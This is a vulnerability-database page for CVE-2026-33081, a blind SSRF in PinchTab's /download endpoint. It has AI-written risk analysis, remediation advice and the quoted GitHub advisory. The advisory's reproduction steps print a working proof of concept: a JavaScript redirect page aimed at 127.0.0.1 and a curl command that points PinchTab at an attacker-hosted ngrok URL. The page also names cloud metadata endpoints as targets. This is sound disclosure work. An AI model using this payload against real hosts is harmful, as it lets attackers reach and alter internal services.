Skip to main content

Python CVE-2026-33081

MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-03-18 https://github.com/pinchtab/pinchtab GHSA-qwxp-6qf9-wr4m
5.8
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 score of 5.8 (Medium) reflects a network-accessible attack vector with low complexity and no privilege requirement, but indicates no confidentiality impact and only integrity impact via state changes on internal services. However, this score underestimates real-world risk in several ways: First, the proof-of-concept is fully functional and publicly available, demonstrating reliable exploitation. Second, the feature is opt-in (security.allowDownload must be explicitly enabled), limiting deployment scope but creating high risk for deployments that do enable it—such as document processing, screenshot, or archival services that intentionally enable download functionality. Third, while EPSS data is not provided in the intelligence, the blind SSRF nature means attackers cannot directly exfiltrate data but can perform reconnaissance, trigger administrative endpoints, access cloud metadata services (AWS IMDSv1 at 169.254.169.254), or interact with internal APIs. The attack complexity is very low because it requires only hosting a simple HTML page with a JavaScript redirect—no sophisticated payload engineering. The lack of authentication requirement (CWE-918 and CVSS vector confirm PR:N) and the fact that this bypasses the intended validateDownloadURL() security control elevate practical risk beyond the numeric score. Organizations running PinchTab with download enabled should prioritize remediation despite the medium CVSS rating.

Exploit ScenarioDerived

An attacker registers a domain or obtains access to a CDN capable of hosting arbitrary HTML content, then creates a simple HTML page containing JavaScript that waits 1.5 seconds before redirecting to http://127.0.0.1:1337/increment (or any internal service endpoint). The attacker then sends a single HTTP request to the target PinchTab instance with /download?url=https://attacker-controlled-domain.com, which passes initial validation because the attacker's domain is external and publicly routable. PinchTab launches a headless Chromium browser, loads the attacker's page, validation completes, and the browser then executes the JavaScript redirect to the internal service, triggering state changes such as incrementing counters, modifying configuration, or accessing cloud metadata endpoints—all originating from the PinchTab host's network context and thus bypassing firewall rules that would block direct external access. A proof-of-concept script demonstrating this exact attack flow is publicly available on the GitHub advisory, making reliable exploitation trivial.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

PinchTab contains a Server-Side Request Forgery (SSRF) vulnerability in its /download endpoint that allows unauthenticated attackers to bypass URL validation and cause the embedded Chromium browser to make requests to internal network services. The vulnerability affects PinchTab versions 0.7.x and 0.8.x when the security.allowDownload setting is enabled (disabled by default), and exploits a validation gap where only the initial user-supplied URL is checked while subsequent browser-initiated requests (redirects, JavaScript navigations, resource fetches) bypass this protection entirely. Although the attacker cannot receive response bodies from internal services (blind SSRF), they can trigger state-changing endpoints on localhost or private network addresses reachable from the PinchTab host, with a proof-of-concept publicly available demonstrating counter increments on internal services.

RemediationAI

Upgrade PinchTab to a patched version released by the project maintainers (check https://github.com/pinchtab/pinchtab/releases for the latest security update). The primary fix involves applying network validation not only to the initial user-supplied URL but to all subsequent requests issued by the Chromium browser context, including redirects, navigations, and resource fetches. Until a patch is available, organizations should disable the security.allowDownload feature entirely (set to false) unless download functionality is absolutely required. If download functionality must remain enabled, implement network-level mitigations by restricting outbound traffic from the PinchTab process to external networks only, blocking all connections to loopback addresses (127.0.0.0/8) and private RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) at the firewall or via Linux network namespace policies (iptables, nftables). Additionally, run PinchTab in a restrictive container or virtual machine with explicit egress policies to prevent the browser from reaching internal services.

Affected Packages

go github.com/pinchtab/pinchtab fix: 0.8.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the PinchTab download handler (pkg:go/github.com_pinchtab_pinchtab), which relies on a validateDownloadURL() function to filter requests to private and loopback addresses during the initial validation phase. However, this security function operates only once at request intake, before the headless Chromium browser instance is spawned and begins processing the attacker-controlled page. Modern web browsers are designed to execute JavaScript, follow redirects, load resources, and issue fetch requests—all asynchronous operations that occur after the initial page load. The root cause, classified under CWE-918 (Server-Side Request Forgery), stems from incomplete request validation: the application implements network boundary enforcement at the application layer for user input but fails to enforce the same policy at the browser context layer for all outbound requests. This creates a fundamental mismatch between the validation scope and the actual request surface, allowing attackers to use JavaScript or HTML meta-refresh redirects to pivot from an attacker-controlled external domain to internal addresses (127.0.0.1, private RFC 1918 ranges) after validation has already passed.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.8 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
SUSE MEDIUM

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 18, 2026 - 16:34 nvd
MEDIUM 5.8

DescriptionGitHub Advisory

The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.

Exploitation requires \security.allowDownload=true, which is disabled by default.

However, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.

Because the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.

This results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.

Steps to Reproduce:

Environment Setup Target: PinchTab server (tested on v0.8.x, v0.7.x) Attacker-controlled server: Publicly accessible (e.g., via ngrok) attacker.py Internal service: Runs on the same host as PinchTab and is not externally accessible internal_service.py

1. Start a Local Internal Service (Victim Side)

Run a simple HTTP service bound to localhost: internal_service.py

python internal_service.py

#Example behavior of internal_service.py: #Listens on 127.0.0.1:1337 #Exposes endpoint /increment #Increments a counter and logs requests

#Expected output when accessed: #COUNTER INCREMENTED: 1 #COUNTER INCREMENTED: 2

2. Host an Attacker-Controlled Page (Attacker side)

Deploy a malicious HTML page that redirects to the internal service: attacker.py

<html> <body> <script> setTimeout(function(){ window.location = "http://127.0.0.1:1337/increment"; }, 1500); </script> </body> </html> Host this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app

3. Trigger the Vulnerable Endpoint (Attacker side)

Send a request to the PinchTab /download endpoint:

curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"

If a server token is configured, the request must include valid authentication.

4. Observe Server-Side Request to Localhost

When PinchTab processes the request:

  1. It launches a headless Chromium instance
  2. The browser loads the attacker-controlled page
  3. JavaScript executes within the browser
  4. The browser redirects to: http://127.0.0.1:1337/increment

5. Verify the Impact

Check the output of internal_service.py: <img width="718" height="156" alt="proof" src="https://github.com/user-attachments/assets/cf00e3e6-71c6-44ae-83b0-ed819f19ee9a" />

COUNTER INCREMENTED: 1 <img width="718" height="282" alt="proof_incremented" src="https://github.com/user-attachments/assets/98281b8e-221b-4e76-a10b-1b2335d08c61" />

This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.

Impact

This vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.

Although the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.

Mitigation

Apply the same URL safety policy to every browser-issued request in the /download flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.

Executive ViewAI

Why It Matters

CVE-2026-33081 presents moderate security risk, a server-side request forgery vulnerability rated CVSS 5.8. Users could be tricked into performing unintended actions. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement egress filtering, block metadata endpoints.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Low

Priority Score

29
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +29
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_pinchtab_pinchtab

Related Vulnerabilities in URL Validation Bypass in HTTP Clients

View all 2

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy